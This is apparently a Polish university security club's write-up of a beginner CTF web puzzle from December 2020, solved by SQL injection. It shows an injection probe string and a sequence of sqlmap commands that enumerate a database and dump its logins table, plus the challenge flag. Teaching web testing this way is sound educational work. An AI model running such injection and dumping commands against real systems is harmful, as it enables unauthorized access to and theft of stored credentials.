Artykuł ten jest opisem rozwiązania do zagadki mikołajkowej opublikowanej na naszym blogu w grudniu 2020. Jeśli wciąż chcesz spróbować rozwiązać ją samodzielnie, to nie jest to jeszcze tekst dla Ciebie. Jeśli jednak zagubiłeś/-łaś/-łoś się w trakcie rozwiązywania, to zapraszam do lektury.

Od czego zacząć?

Częstą blokadą w trakcie rozwiązywania zadań webowych w trakcie wszelakich CTFów jest to, od czego można je zacząć. Znalezienie odpowiedniego wektora wejściowego jest bardzo często największym krokiem do sukcesu. Nie inaczej jest w tym przypadku.

Strona przedstawia odbiorcy prosty formularz logowania z polem email w trybie readonly. Na pierwszy rzut oka użytkownik może sądzić, że pracować może tylko z polem hasła. Korzystanie z niego (puste hasło lub dowolny ciąg znaków) wywołuje jednak stałe komunikaty. Jako, że pole z hasłem zwraca niezmienne informacje niezależnie od wprowadzonych znaków, to można je na razie wykluczyć z testów.

Pole email w trybie readonly
Komunikaty ze strony

Strony internetowe mają to do siebie, że ich kod HTML możemy modyfikować po swojej stronie (ang. client-side). Nie inaczej jest w tym przypadku. Po usunięciu atrybutu readonly z pola email otrzymujemy do dyspozycji kolejny możliwy wektor ataku. Jednym z pierwszych ruchów testera bezpieczeństwa aplikacji webowych powinno być zweryfikowanie, czy aby formularz nie jest podatny na atak SQL injection. Poniższy ciąg znaków zostaje wysłany jako adres email:

mikolaj@swiety.biegun.polnocny';--

W odpowiedzi otrzymujemy inny komunikat niż dotychczas. Może to sugerować, że aplikacja stojąca za formularzem jest podatna na SQLi właśnie poprzez pole email.

Komunikat zwrócony po wykorzystaniu znaków specjalnych

Weryfikacja podatności

Do zweryfikowania podatności wykorzystane zostaje narzędzie sqlmap. Aby móc z niego jednak skorzystać musimy poznać odpowiedni adres, do którego odwołuje się formularz logowania. Można go znaleźć w panelu Sieć Narzędzi Developerskich przeglądarki.

Zapytanie HTTP POST z formularza

Znając szczegóły zapytania HTTP, możemy wykorzystać sqlmap do zbadania aplikacji. Poniżej przedstawione zostało odpowiednie polecenie wraz z jego odpowiedzią:

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test"
...
[INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL')
[INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[INFO] the back-end DBMS is MySQL
...

Odpowiedzi narzędzia sqlmap mogą różnić się w zależności od wykorzystanej wersji dlatego nie należy trzymać się w 100% tego co przedstawiono powyżej.

Ekstrakcja danych

Znając wektor ataku i typ bazy danych można wykorzystać wspomniane wcześniej narzędzie sqlmap do ekstrakcji danych. Poniżej przedstawione zostały poszczególne, wykorzystane polecenia wraz z ich odpowiedziami.

Nazwa bazy

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
    --dbms=mysql -p email --current-db
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[INFO] fetching current database
current database:    '7f1919e430b4db56df507b09f5599809'
...

Tabele w bazie

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
    --dbms=mysql -p email \
    -D 7f1919e430b4db56df507b09f5599809 --tables
...
Database: 7f1919e430b4db56df507b09f5599809
[1 table]
+--------+
| logins |
+--------+
...

Zawartość odpowiedniej tabeli

$ sqlmap -u "https://whitehats.pwr.edu.pl/api/santaclaus" --data="email=1&password=test" \
    --dbms=mysql -p email \
    -D 7f1919e430b4db56df507b09f5599809 -T logins --dump
Database: 7f1919e430b4db56df507b09f5599809
Table: logins
[16 entries]
+----+-------------------------------------------+-----------------------------------------------------------+
| id | email                                     | password                                                  |
+----+-------------------------------------------+-----------------------------------------------------------+
| 2  | mikolaj@swiety.biegun.polnocny            | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 3  | mikolaj@swiety.biegun.polnocny1           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 4  | mikolaj@swiety.biegun.polnocny2           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 5  | mikolaj@swiety.biegun.polnocny3           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 6  | mikolaj@swiety.biegun.polnocny4           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 7  | mikolaj@swiety.biegun.polnocny5           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 8  | mikolaj@swiety.biegun.polnocny6           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 1  | UKRYTE                                    | UKRYTE                                                    |
| 9  | mikolaj@swiety.biegun.polnocny7           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 10 | mikolaj@swiety.biegun.polnocny8           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 11 | mikolaj@swiety.biegun.polnocny9           | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 12 | mikolaj@swiety.biegun.polnocny10          | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 13 | mikolaj@swiety.biegun.polnocny11          | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 14 | mikolaj@swiety.biegun.polnocny12          | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 15 | mikolaj@swiety.biegun.polnocny13          | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
| 16 | mikolaj@swiety.biegun.polnocny14          | NieToHasloAProbowalesMozeInnegoUzytkownika?123456admin123 |
+----+-------------------------------------------+-----------------------------------------------------------+

Rozwiązanie

Jeśli chcesz samodzielnie poznać email i hasło wykorzystując polecenia przedstawione wyżej, to przestań czytać w tym miejscu.

Jak można zauważyć, jest to zadanie stworzone z myślą o osobach, które stawiają pierwsze kroki w bezpieczeństwie aplikacji webowych. Dzięki niemu, w bardzo skuteczny sposób, można sprawdzić oraz przetestować działanie sqlmap w prawdziwym środowisku. Odpowiednie dane wymagane do obejścia formularza logowania uzyskujemy w kroku zawartość odpowiedniej tabel. Ich wartość została ukryta aby zachęcić do samodzielnego wypróbowania poleceń, jednak jeśli chcesz je poznać już teraz to znajdują się one poniżej:

EMAIL: oryginalny.mikolaj@swiety.biegun.polnocny
HASŁO: WHITE-HATS{S4nT4$-p@s$w0rd-Is-6R34T} 

Tagi:

Kategorie:


Ostatnia aktualizacja: